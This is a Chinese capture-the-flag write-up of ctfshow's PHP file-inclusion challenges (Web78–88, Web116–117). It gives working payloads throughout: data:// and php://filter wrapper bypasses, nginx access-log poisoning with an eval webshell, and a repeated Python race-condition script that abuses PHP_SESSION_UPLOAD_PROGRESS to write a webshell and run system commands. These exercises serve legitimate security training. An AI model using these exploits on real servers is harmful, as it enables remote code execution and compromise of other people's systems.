本文最后更新于:2021年8月29日下午1点08分
Web78
文件包含系列开始
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; include ($file ); }else { highlight_file(__FILE__ ); }
很明显有一个文件包含
传payload:
得到:
1 PD9 waHANCg0 KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3 I6 IGgxeGENCiMgQERhdGU6 ICAgMjAyMC0 wOS0 xNiAxMDo1 NToxMQ0 KIyBATGFzdCBNb2 RpZmllZCBieTogICBoMXhhDQojIEBMYXN0 IE1 vZGlmaWVkIHRpbWU6 IDIwMjAtMDktMTYgMTA6 NTU6 MjANCiMgQGVtYWlsOiBoMXhhQGN0 ZmVyLmNvbQ0 KIyBAbGluazogaHR0 cHM6 Ly9 jdGZlci5 jb20 NCg0 KKi8 NCg0 KDQokZmxhZz0 iY3 Rmc2 hvd3 s2 MmZhZDNmZC03 OGJlLTQ2 NDQtYTYxZS0 zYTAxNmUyMmZjNDh9 Ijs=
解码后得到flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $flag ="ctfshow{62fad3fd-78be-4644-a61e-3a016e22fc48}" ;
官方Hint:
Web79
文件包含系列开始
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace("php" , "???" , $file ); include ($file ); }else { highlight_file(__FILE__ ); }
相比上一题多过滤了一个php ,将php 进行了替换
那就使用data 伪协议,payload如下:
1 ?file=data:// text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/ Pg==
其中base64部分解码后为:
1 <?php system("cat flag.php" );?>
官方Hint:
1 2 ?file=data: PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php' );
Web80
文件包含系列开始
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace("php" , "???" , $file ); $file = str_replace("data" , "???" , $file ); include ($file ); }else { highlight_file(__FILE__ ); }
过滤了php 和data ,使用日志文件包含,payload如下:
先设置请求头
1 User-Agent: <?php eval ($_POST [1 ]);?>
然后文件包含:
1 2 ?file =/var/ log/nginx/ access.log POSTDATA: 1 =system('ls' );
得到两个文件:fl0g.php ,index.php ,访问后得到flag
1 2 ?file =/var/ log/nginx/ access.log POSTDATA: 1 =system('tac fl0g.php' );
官方Hint:
1 2 包含日志文件 进行getshell 日志文件路径: ?file =/var/ log/nginx/ access.log
Web81
做完这道题,你就已经经历的九九八十一难,是不是感觉很快? 没关系,后面还是九百一十九难,加油吧,少年!
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace("php" , "???" , $file ); $file = str_replace("data" , "???" , $file ); $file = str_replace(":" , "???" , $file ); include ($file ); }else { highlight_file(__FILE__ ); }
和上一题一样,日志包含:
1 2 3 ?file=/var /log/nginx/access.log Header: User-Agent <?php eval ($_POST [1 ]);?> POSTDATA: 1 =system('tac fl0g.php' );
官方Hint:
包含日志文件 进行getshell 日志文件路径:
?file=/var/log/nginx/access.log
Web82
文件包含
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace("php" , "???" , $file ); $file = str_replace("data" , "???" , $file ); $file = str_replace(":" , "???" , $file ); $file = str_replace("." , "???" , $file ); include ($file ); }else { highlight_file(__FILE__ ); }
利用PHP_SESSION_UPLOAD_PROGRESS 进行条件竞争:
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import ioimport requestsimport threading url = "http://5f162c82-f9f8-4db1-a1d2-d33ca949d098.challenge.ctf.show:8080/" sessid = "lxxx" data = { "1" : "file_put_contents('/var/www/html/1.php' , '<?php eval($_POST[2]);?>');" }def write (session ): filebytes = io.BytesIO(b'a' *1024 *50 ) while True : res = session.post(url , data={ 'PHP_SESSION_UPLOAD_PROGRESS' : "<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID' :sessid }, files={ 'file' : ('Lxxx.jpg' , filebytes) } )def read (session ): while True : res = session.post(url+'?file=/tmp/sess_' +sessid , data=data , cookies={ 'PHPSESSID' :sessid } ) res2 = session.get(url+'1.php' ) if res2.status_code == 200 : print ("OK" ) else : print (res2.status_code)if __name__ == '__main__' : evnet = threading.Event() with requests.session() as session: for i in range (5 ): threading.Thread(target=write , args=(session,)).start() for i in range (5 ): threading.Thread(target=read , args=(session,)).start() evnet.set ()
然后访问1.php ,POST传参如下得到flag:
1 POSTDATA: 2 =system ("tac fl0g.php" );
官方Hint:
https://www.freebuf.com/vuls/202819.html
这道题有点像wmctf的make php great again 利用session对话进行文件包含利用
https://blog.csdn.net/qq_46091464/article/details/108021053
Web83
继续包含
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php session_unset(); session_destroy();if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace("php" , "???" , $file ); $file = str_replace("data" , "???" , $file ); $file = str_replace(":" , "???" , $file ); $file = str_replace("." , "???" , $file ); include ($file ); }else { highlight_file(__FILE__ ); }
虽然销毁了session,但是不影响,还是可以用上一题的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import ioimport requestsimport threading url = "http://932a5cf6-471a-4c87-99f3-7dcb56ab5fa9.challenge.ctf.show:8080/" sessid = "lxxx" data = { "1" : "file_put_contents('/var/www/html/1.php' , '<?php eval($_POST[2]);?>');" }def write (session ): filebytes = io.BytesIO(b'a' *1024 *50 ) while True : res = session.post(url , data={ 'PHP_SESSION_UPLOAD_PROGRESS' : "<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID' :sessid }, files={ 'file' : ('Lxxx.jpg' , filebytes) } )def read (session ): while True : res = session.post(url+'?file=/tmp/sess_' +sessid , data=data , cookies={ 'PHPSESSID' :sessid } ) res2 = session.get(url+'1.php' ) if res2.status_code == 200 : print ("OK" ) else : print (res2.status_code)if __name__ == '__main__' : evnet = threading.Event() with requests.session() as session: for i in range (5 ): threading.Thread(target=write , args=(session,)).start() for i in range (5 ): threading.Thread(target=read , args=(session,)).start() evnet.set ()
访问1.php :
1 POSTDATA: 2 =system ("tac fl0g.php" );
官方Hint:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #poc.php <!DOCTYPE html> <html> <body> <form action="ip地址" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html> <?php session_start(); ?>
Web84
文件包含漏洞
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace("php" , "???" , $file ); $file = str_replace("data" , "???" , $file ); $file = str_replace(":" , "???" , $file ); $file = str_replace("." , "???" , $file ); system("rm -rf /tmp/*" ); include ($file ); }else { highlight_file(__FILE__ ); }
和前两题一样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import ioimport requestsimport threading url = "http://e811bf66-31fb-49a4-9a70-468ef6778161.challenge.ctf.show:8080/" sessid = "lxxx" data = { "1" : "file_put_contents('/var/www/html/1.php' , '<?php eval($_POST[2]);?>');" }def write (session ): filebytes = io.BytesIO(b'a' *1024 *50 ) while True : res = session.post(url , data={ 'PHP_SESSION_UPLOAD_PROGRESS' : "<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID' :sessid }, files={ 'file' : ('Lxxx.jpg' , filebytes) } )def read (session ): while True : res = session.post(url+'?file=/tmp/sess_' +sessid , data=data , cookies={ 'PHPSESSID' :sessid } ) res2 = session.get(url+'1.php' ) if res2.status_code == 200 : print ("OK" ) else : print (res2.status_code)if __name__ == '__main__' : evnet = threading.Event() with requests.session() as session: for i in range (5 ): threading.Thread(target=write , args=(session,)).start() for i in range (5 ): threading.Thread(target=read , args=(session,)).start() evnet.set ()
访问1.php
1 POSTDATA: 2 =system ("tac fl0g.php" );
官方Hint:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #poc.php <!DOCTYPE html> <html> <body> <form action="ip地址" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html> <?php session_start(); ?>
Web85
继续包含
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace("php" , "???" , $file ); $file = str_replace("data" , "???" , $file ); $file = str_replace(":" , "???" , $file ); $file = str_replace("." , "???" , $file ); if (file_exists($file )){ $content = file_get_contents($file ); if (strpos($content , "<" )>0 ){ die ("error" ); } include ($file ); } }else { highlight_file(__FILE__ ); }
前三题的脚本还是可以用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import ioimport requestsimport threading url = "http://40940aa3-18b4-470c-bacb-115d31c8306b.challenge.ctf.show:8080/" sessid = "lxxx" data = { "1" : "file_put_contents('/var/www/html/1.php' , '<?php eval($_POST[2]);?>');" }def write (session ): filebytes = io.BytesIO(b'a' *1024 *50 ) while True : res = session.post(url , data={ 'PHP_SESSION_UPLOAD_PROGRESS' : "<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID' :sessid }, files={ 'file' : ('Lxxx.jpg' , filebytes) } )def read (session ): while True : res = session.post(url+'?file=/tmp/sess_' +sessid , data=data , cookies={ 'PHPSESSID' :sessid } ) res2 = session.get(url+'1.php' ) if res2.status_code == 200 : print ("OK" ) else : print (res2.status_code)if __name__ == '__main__' : evnet = threading.Event() with requests.session() as session: for i in range (5 ): threading.Thread(target=write , args=(session,)).start() for i in range (5 ): threading.Thread(target=read , args=(session,)).start() evnet.set ()
访问1.php
1 POSTDATA: 2 =system ("tac fl0g.php" );
官方Hint:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #poc.php <!DOCTYPE html> <html> <body> <form action="ip地址" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html> <?php session_start(); ?>
Web86
继续秀
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php define('还要秀?' , dirname(__FILE__ )); set_include_path(还要秀?);if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $file = str_replace("php" , "???" , $file ); $file = str_replace("data" , "???" , $file ); $file = str_replace(":" , "???" , $file ); $file = str_replace("." , "???" , $file ); include ($file ); }else { highlight_file(__FILE__ ); }
还是和前四题一样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import ioimport requestsimport threading url = "http://5233db8a-452f-49f9-9a6b-f90df0de64b6.challenge.ctf.show:8080/" sessid = "lxxx" data = { "1" : "file_put_contents('/var/www/html/1.php' , '<?php eval($_POST[2]);?>');" }def write (session ): filebytes = io.BytesIO(b'a' *1024 *50 ) while True : res = session.post(url , data={ 'PHP_SESSION_UPLOAD_PROGRESS' : "<?php eval($_POST[1]);?>" }, cookies={ 'PHPSESSID' :sessid }, files={ 'file' : ('Lxxx.jpg' , filebytes) } )def read (session ): while True : res = session.post(url+'?file=/tmp/sess_' +sessid , data=data , cookies={ 'PHPSESSID' :sessid } ) res2 = session.get(url+'1.php' ) if res2.status_code == 200 : print ("OK" ) else : print (res2.status_code)if __name__ == '__main__' : evnet = threading.Event() with requests.session() as session: for i in range (5 ): threading.Thread(target=write , args=(session,)).start() for i in range (5 ): threading.Thread(target=read , args=(session,)).start() evnet.set ()
访问1.php
1 POSTDATA: 2 =system ("tac fl0g.php" );
官方Hint:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #poc.php <!DOCTYPE html> <html> <body> <form action="ip地址" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html> <?php session_start(); ?>
Web87
继续秀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; $content = $_POST ['content' ]; $file = str_replace("php" , "???" , $file ); $file = str_replace("data" , "???" , $file ); $file = str_replace(":" , "???" , $file ); $file = str_replace("." , "???" , $file ); file_put_contents(urldecode($file ), "<?php die('大佬别秀了');?>" .$content ); }else { highlight_file(__FILE__ ); }
利用php伪协议,payload如下:
1 2 ?file= %2570 %2568 %2570 %253 A%252 F%252 F%2566 %2569 %256 C%2574 %2565 %2572 %252 F%2577 %2572 %2569 %2574 %2565 %253 D%2573 %2574 %2572 %2569 %256 E%2567 %252 E%2572 %256 F%2574 %2531 %2533 %252 F%2572 %2565 %2573 %256 F%2575 %2572 %2563 %2565 %253 D%2531 %252 E%2570 %2568 %2570 POSTDATA: content= <?cuc flfgrz("gnp s*.cuc" )
官方Hint:
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://xz.aliyun.com/t/8163#toc-3
php://filter/write=string.rot13/resource=2.php
1 % 25 % 37 % 30 % 25 % 36 % 38 % 25 % 37 % 30 % 25 % 33 % 61 % 25 % 32 % 66 % 25 % 32 % 66 % 25 % 36 % 36 % 25 % 36 % 39 % 25 % 36 % 63 % 25 % 37 % 34 % 25 % 36 % 35 % 25 % 37 % 32 % 25 % 32 % 66 % 25 % 37 % 37 % 25 % 37 % 32 % 25 % 36 % 39 % 25 % 37 % 34 % 25 % 36 % 35 % 25 % 33 % 64 % 25 % 36 % 33 % 25 % 36 % 66 % 25 % 36 % 65 % 25 % 37 % 36 % 25 % 36 % 35 % 25 % 37 % 32 % 25 % 37 % 34 % 25 % 32 % 65 % 25 % 36 % 32 % 25 % 36 % 31 % 25 % 37 % 33 % 25 % 36 % 35 % 25 % 33 % 36 % 25 % 33 % 34 % 25 % 32 % 64 % 25 % 36 % 34 % 25 % 36 % 35 % 25 % 36 % 33 % 25 % 36 % 66 % 25 % 36 % 34 % 25 % 36 % 35 % 25 % 32 % 66 % 25 % 37 % 32 % 25 % 36 % 35 % 25 % 37 % 33 % 25 % 36 % 66 % 25 % 37 % 35 % 25 % 37 % 32 % 25 % 36 % 33 % 25 % 36 % 35 % 25 % 33 % 64 % 25 % 33 % 33 % 25 % 32 % 65 % 25 % 37 % 30 % 25 % 36 % 38 % 25 % 37 % 30
因为通过base64过滤之后就只有(phpdie)6个字符我们就要添加2个字符让前面的可以进行编码
Web88
继续秀
打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php if (isset ($_GET ['file' ])){ $file = $_GET ['file' ]; if (preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i" , $file )){ die ("error" ); } include ($file ); }else { highlight_file(__FILE__ ); }
data 协议没有被过滤,但是过滤了等于号,因此在构造base64 的时候,稍微凑一下
1 ?file=data:// text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmw/ Py5waHAiKSA7
base64解码后:
1 <?php system("tac fl??.php" ) ;
官方Hint:
发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import ioimport requestsimport threading sessID = 'flag' url = 'http://77f10aa2-a5ca-4ab6-9f42-6e43e5717207.chall.ctf.show/' def write (session ): while True : f = io.BytesIO(b'a' * 256 * 1 ) response = session.post( 1 2 3 4 5 6 7 8 9 10 11 12 13url, cookies={'PHPSESSID' : sessID}, data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php system("tac*.php");?>' }, files={'file' : ('a.txt' , f)} )def read (): while True : response = session.get(url+'?file=/tmp/sess_{}' .format (sessID)) if 'flag' in response.text: print (response.text) break session = requests.session() write = threading.Thread(target=write, args=(session,)) write.daemon = True write.start() read()
Web116
misc+lfi
by yu22x
打开题目,有一段视频:
下载这一段视频,下载的时候文件名为index.php
根据前几题经验,直接用file包含源码:
1 2 3 4 5 6 7 8 GET /?file=index.php HTTP/1.1 Host : 1b7b6dd7-ebf6-4446-8012-d5f538e77c89.challenge.ctf.show:8080User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : zhAccept-Encoding : gzip, deflateConnection : closeUpgrade-Insecure-Requests : 1
得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting(0 );function filter ($x ) { if (preg_match('/http|https|data|input|rot13|base64|string|log|sess/i' ,$x )){ die ('too young too simple sometimes naive!' ); } }$file =isset ($_GET ['file' ])?$_GET ['file' ]:"5.mp4" ; filter($file ); header('Content-Type: video/mp4' ); header("Content-Length: $file " ); readfile($file );?>
直接包含flag.php
1 2 3 4 5 6 7 8 GET /?file=flag.php HTTP/1.1 Host : 1b7b6dd7-ebf6-4446-8012-d5f538e77c89.challenge.ctf.show:8080User-Agent : Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language : zhAccept-Encoding : gzip, deflateConnection : closeUpgrade-Insecure-Requests : 1
得到flag:
1 2 3 4 5 6 7 8 9 10 11 12 HTTP/1.1 200 OK Content-Type: video/mp4 Date: Sun, 29 Aug 2021 04 :47 :05 GMT Server: nginx/1.18 .0 X-Powered-By: PHP/7.3 .22 Content-Length: 63 Connection: close <?php $flag ="ctfshow{d1dc5c8d-f560-488c-8591-57fb195a6406}" ;?>
官方Hint:
无
Web117 打开题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file(__FILE__ ); error_reporting(0 );function filter ($x ) { if (preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i' ,$x )){ die ('too young too simple sometimes naive!' ); } }$file =$_GET ['file' ];$contents =$_POST ['contents' ]; filter($file ); file_put_contents($file , "<?php die();?>" .$contents );
和web87 很像,不过不能使用rot13 了,这里就是用UCS-2LE 转UCS-2BE 编码
PHP还有许多其他编码,可以参考链接:PHP: 支持的字符编码 - Manual
1 2 3 4 <?php $str = "<?php eval(\$_POST[1]);" ;echo iconv('UCS-2LE' , 'UCS-2BE' , $str );?>
得到结果:
然后传payload,即可得到flag:
1 2 ?file=php:// filter/convert.iconv.UCS-2LE.UCS-2BE/ resource=1 .php POSTDATA: 1 =system("tac flag.php" );
官方Hint:
1 2 payload: file =php://filter /write =convert .iconv.UCS-2 LE.UCS-2 BE/resource=a .php post :contents=?<hp pvela$(P_SO[T]1 ;)>?